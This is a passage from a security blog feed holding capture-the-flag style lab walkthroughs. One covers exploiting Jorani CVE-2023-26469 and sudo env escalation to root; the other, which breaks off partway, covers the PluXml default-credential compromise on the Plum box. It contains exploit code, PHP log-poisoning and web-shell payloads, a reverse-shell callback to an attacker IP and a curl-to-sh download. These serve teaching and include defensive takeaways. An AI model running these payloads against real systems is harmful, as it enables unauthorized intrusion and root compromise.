class="token plain"> </span><span class="token string" style="color:#e3116c">"session/login"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token string" style="color:#e3116c">"language"</span><span class="token plain">			</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> PATH_TRAV_PAYLOAD</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token string" style="color:#e3116c">"login"</span><span class="token plain">				</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> POISON_PAYLOAD</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token string" style="color:#e3116c">"CipheredValue"</span><span class="token plain">		</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"DummyPassword"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">post</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">u</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">t</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"login"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> data</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">data</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	log</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"Accessing log file: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">log_file_name</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	exp_page </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> t </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> URLS</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">'view'</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> log_file_name</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token comment" style="color:#999988;font-style:italic">### Shell</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	cmd </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		cmd </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token builtin">input</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">INPUT</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token keyword" style="color:#00009f">if</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">cmd </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">'x'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'exit'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'quit'</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">			</span><span class="token keyword" style="color:#00009f">break</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token keyword" style="color:#00009f">elif</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">cmd </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">			</span><span class="token keyword" style="color:#00009f">continue</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token keyword" style="color:#00009f">else</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">			BypassRedirect</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">HEADER_NAME</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> base64</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">b64encode</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"echo ---------;"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> cmd</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">encode</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b" 2&gt;&amp;1;echo ---------;"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">			res </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">exp_page</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> headers</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">BypassRedirect</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">			cmdRes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> re</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">findall</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">CMD_PATTERN</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">			</span><span class="token keyword" style="color:#00009f">try</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">				</span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">cmdRes</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">			</span><span class="token keyword" style="color:#00009f">except</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">				</span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">				err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Wow, there was a problem, are you sure of the URL ??"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">				err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'exiting..'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">				exit</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="running-the-poc">Running the PoC<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#running-the-poc" class="hash-link" aria-label="Direct link to Running the PoC" title="Direct link to Running the PoC" translate="no">​</a></h3>
<p>From the lab working directory:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python poc.py http://192.168.120.109</span><br></div></code></pre></div></div>
<p>Full session:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">        /!\ Do not use this if you are not authorized to /!\</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[?] POC made by @jrjgjk (Guilhem RIOUX)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[?] Header used for exploit: EONVSJMUNYAX</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[?] Requesting session cookie</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[?] Poisonning log file with payload: '&lt;?php if(isset($_SERVER['HTTP_EONVSJMUNYAX'])){system(base64_decode($_SERVER['HTTP_EONVSJMUNYAX']));} ?&gt;'</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[?] Set path traversal to '../../application/logs'</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Recoveredd CSRF Token: c24c1317c4d8eb134788801e06e50f15</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[?] Accessing log file: log-2026-09-04</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">jrjgjk@jorani(PSEUDO-TERM)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">$ id</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">uid=1000(jordak) gid=1000(jordak) groups=1000(jordak),27(sudo)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">jrjgjk@jorani(PSEUDO-TERM)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">$ sudo -l</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Matching Defaults entries for jordak on jordak:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">User jordak may run the following commands on jordak:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    (ALL : ALL) ALL</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    (ALL) NOPASSWD: /usr/bin/env</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">jrjgjk@jorani(PSEUDO-TERM)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">$ sudo /usr/bin/env</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LANG=C</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">MAIL=/var/mail/root</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LOGNAME=root</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">USER=root</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">HOME=/root</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SHELL=/bin/bash</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">TERM=unknown</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SUDO_COMMAND=/usr/bin/env</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SUDO_USER=jordak</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SUDO_UID=1000</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SUDO_GID=1000</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">jrjgjk@jorani(PSEUDO-TERM)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">$ sudo /usr/bin/env whoami</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root</span><br></div></code></pre></div></div>
<p>Initial access lands as the local user <code>jordak</code>, already in the <code>sudo</code> group. The <code>NOPASSWD</code> rule on <code>/usr/bin/env</code> is the privilege-escalation path.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-works">Why this works<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#why-this-works" class="hash-link" aria-label="Direct link to Why this works" title="Direct link to Why this works" translate="no">​</a></h3>
<p>Three conditions align:</p>
<ol>
<li class="">Jorani is reachable without authentication hardening on the management UI.</li>
<li class="">The vulnerable release still writes attacker-influenced data into PHP log files that can be included.</li>
<li class="">Path traversal plus a spoofable request path turns a daily log into an executable RCE surface.</li>
</ol>
<p>That turns an unauthenticated leave-management login into command execution on the host.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="privilege-escalation">Privilege escalation<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#privilege-escalation" class="hash-link" aria-label="Direct link to Privilege escalation" title="Direct link to Privilege escalation" translate="no">​</a></h2>
<p><code>env</code> can execute an arbitrary program. With passwordless sudo on that binary, command execution as root is immediate:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">sudo /usr/bin/env whoami</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">root</span><br></div></code></pre></div></div>
<p>For a root shell, the same pattern works with a shell binary (for example <code>sudo /usr/bin/env /bin/bash</code>), consistent with known <code>env</code> sudo abuse patterns.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>Jordak is a short, high-signal chain:</p>
<ul>
<li class="">recon finds only SSH and Apache</li>
<li class="">the default Ubuntu page is a red herring; Jorani is the real product</li>
<li class=""><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26469" target="_blank" rel="noopener noreferrer" class="">CVE-2023-26469</a> yields unauthenticated RCE as <code>jordak</code></li>
<li class=""><code>NOPASSWD</code> sudo on <code>/usr/bin/env</code> elevates to root</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>Jordak rewards precise product identification and careful reading of sudo rules.</p>
<p>The default Apache title can waste time if you treat the host as an empty install. Once Jorani is named, the CVE path is direct. After foothold, the lesson shifts from exotic local exploits to simple privilege misconfiguration: a passwordless helper binary is still a root path when it can launch other programs.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<ol>
<li class="">Patch Jorani to <code>1.0.2</code> or later for <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26469" target="_blank" rel="noopener noreferrer" class="">CVE-2023-26469</a>.</li>
<li class="">Configure log files with a non-PHP extension and deny web access to the log directory.</li>
<li class="">Do not expose leave-management UIs to untrusted networks without strong auth and network controls.</li>
<li class="">Avoid <code>NOPASSWD</code> rules on wrappers like <code>env</code> that can execute arbitrary programs.</li>
<li class="">Monitor for anomalous custom HTTP headers and path-traversal patterns against login and page-view endpoints.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26469" target="_blank" rel="noopener noreferrer" class="">CVE-2023-26469 (NVD)</a></li>
<li class=""><a href="https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py" target="_blank" rel="noopener noreferrer" class="">Jorani PoC (Orange Cyberdefense)</a></li>
<li class=""><a href="https://www.rapid7.com/db/modules/exploit/multi/php/jorani_path_trav/" target="_blank" rel="noopener noreferrer" class="">Metasploit: jorani_path_trav</a></li>
<li class=""><a href="https://github.com/bbalet/jorani/releases/tag/v1.0.2" target="_blank" rel="noopener noreferrer" class="">Jorani v1.0.2 security release</a></li>
<li class=""><a href="https://gtfobins.github.io/gtfobins/env/" target="_blank" rel="noopener noreferrer" class="">GTFOBins: env</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>Jorani</category>
            <category>CVE</category>
            <category>Walkthrough</category>
            <category>Labs</category>
            <category>Privilege Escalation</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds Plum — PluXml Default Creds to Root]]></title>
            <link>https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce</link>
            <guid>https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce</guid>
            <pubDate>Thu, 03 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds Plum walkthrough — PluXml default admin credentials, template web shell RCE, and mailbox credential reuse to root.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds Plum from initial recon to full root access by abusing default admin credentials in PluXml, weaponizing template editing for command execution, and pivoting from a web shell to mailbox credential reuse.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>Plum is a focused Linux web box with only two exposed services: SSH on <code>22</code> and Apache on <code>80</code>. The web front page identifies PluXml, and the admin panel accepts default credentials.</p>
<p>That foothold is enough to reach a dangerous feature: template editing. A public PluXml <code>5.8.7</code> PoC shows how to inject a command web shell into <code>static.php</code>, then trigger it with a reverse shell payload. Initial access lands as <code>www-data</code>, and privilege escalation comes from sensitive credentials left in local mail, allowing <code>su root</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumeration">Enumeration<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#enumeration" class="hash-link" aria-label="Direct link to Enumeration" title="Direct link to Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="nmap">Nmap<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#nmap" class="hash-link" aria-label="Direct link to Nmap" title="Direct link to Nmap" translate="no">​</a></h3>
<p>Start with a full TCP scan plus service/version detection and default scripts:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- 192.168.120.28 -v</span><br></div></code></pre></div></div>
<p>The host exposes only two ports:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">22/tcp open  ssh   OpenSSH 8.4p1 Debian</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">80/tcp open  http  Apache httpd 2.4.56 (Debian)</span><br></div></code></pre></div></div>
<p>The web title is the first major clue:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http-title: PluXml - Blog or CMS, XML powered !</span><br></div></code></pre></div></div>
<p>With no extra services and no obvious SSH path, the CMS becomes the primary attack surface.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="web-entry-point">Web entry point<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#web-entry-point" class="hash-link" aria-label="Direct link to Web entry point" title="Direct link to Web entry point" translate="no">​</a></h3>
<p>The admin panel is reachable at:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http://192.168.120.28/core/admin/auth.php?p=/core/admin/</span><br></div></code></pre></div></div>
<p>In this lab instance, default credentials work:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">username: admin</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">password: admin</span><br></div></code></pre></div></div>
<p>That immediately upgrades anonymous web access into authenticated CMS admin access.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation-path">Exploitation path<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#exploitation-path" class="hash-link" aria-label="Direct link to Exploitation path" title="Direct link to Exploitation path" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pluxml-authenticated-rce">PluXml authenticated RCE<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#pluxml-authenticated-rce" class="hash-link" aria-label="Direct link to PluXml authenticated RCE" title="Direct link to PluXml authenticated RCE" translate="no">​</a></h3>
<p>Once authenticated, the published PoC for PluXml <code>5.8.7</code> can be used to automate template modification:</p>
<ul>
<li class="">PoC reference: <a href="https://github.com/erlaplante/pluxml-rce/blob/main/pluxml.py" target="_blank" rel="noopener noreferrer" class="">erlaplante/pluxml-rce</a></li>
<li class="">Core idea: edit <code>static.php</code>, inject <code>&lt;?php system($_GET['cmd']); ?&gt;</code>, then execute OS commands through a controlled request.</li>
</ul>
<p>Run it with attacker callback details:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python poc.py http://192.168.120.28 admin admin 192.168.45.209 5555</span><br></div></code></pre></div></div>
<p>Listener:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">penelope -p 5555</span><br></div></code></pre></div></div>
<p>Expected result is a reverse shell session as the web server user:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">uid=33(www-data) gid=33(www-data) groups=33(www-data)</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-works">Why this works<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#why-this-works" class="hash-link" aria-label="Direct link to Why this works" title="Direct link to Why this works" translate="no">​</a></h3>
<p>This chain is effective because three conditions align:</p>
<ol>
<li class="">Administrative panel is reachable from attacker network.</li>
<li class="">Default credentials remain valid.</li>
<li class="">Admin-side template editing allows writing executable PHP into rendered files.</li>
</ol>
<p>That turns "CMS admin" into direct command execution on the underlying host.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="privilege-escalation">Privilege escalation<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#privilege-escalation" class="hash-link" aria-label="Direct link to Privilege escalation" title="Direct link to Privilege escalation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="local-situational-awareness">Local situational awareness<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#local-situational-awareness" class="hash-link" aria-label="Direct link to Local situational awareness" title="Direct link to Local situational awareness" translate="no">​</a></h3>
<p>After foothold, host enumeration points to local mail artifacts:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh</span><br></div></code></pre></div></div>
<p><code>linpeas</code> highlights mail files under:</p>
<ul>
<li class=""><code>/var/mail/www-data</code></li>
<li class=""><code>/var/spool/mail/www-data</code></li>
</ul>
<p>Process monitoring (<code>pspy</code>) also confirms local services like Exim are active, reinforcing mail as a useful place to look.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="credential-discovery-in-mailbox">Credential discovery in mailbox<a href="https://blog.artofvector.com/blog/plum-pluxml-default-creds-rce#credential-discovery-in-mailbox" class="hash-link" aria-label="Direct link to Credential discovery in mailbox" title="Direct link to Credential discovery in mailbox" translate="no">​</a></h3>
<p>Reading the mail spool reveals a high-impact operational mistake:</p>
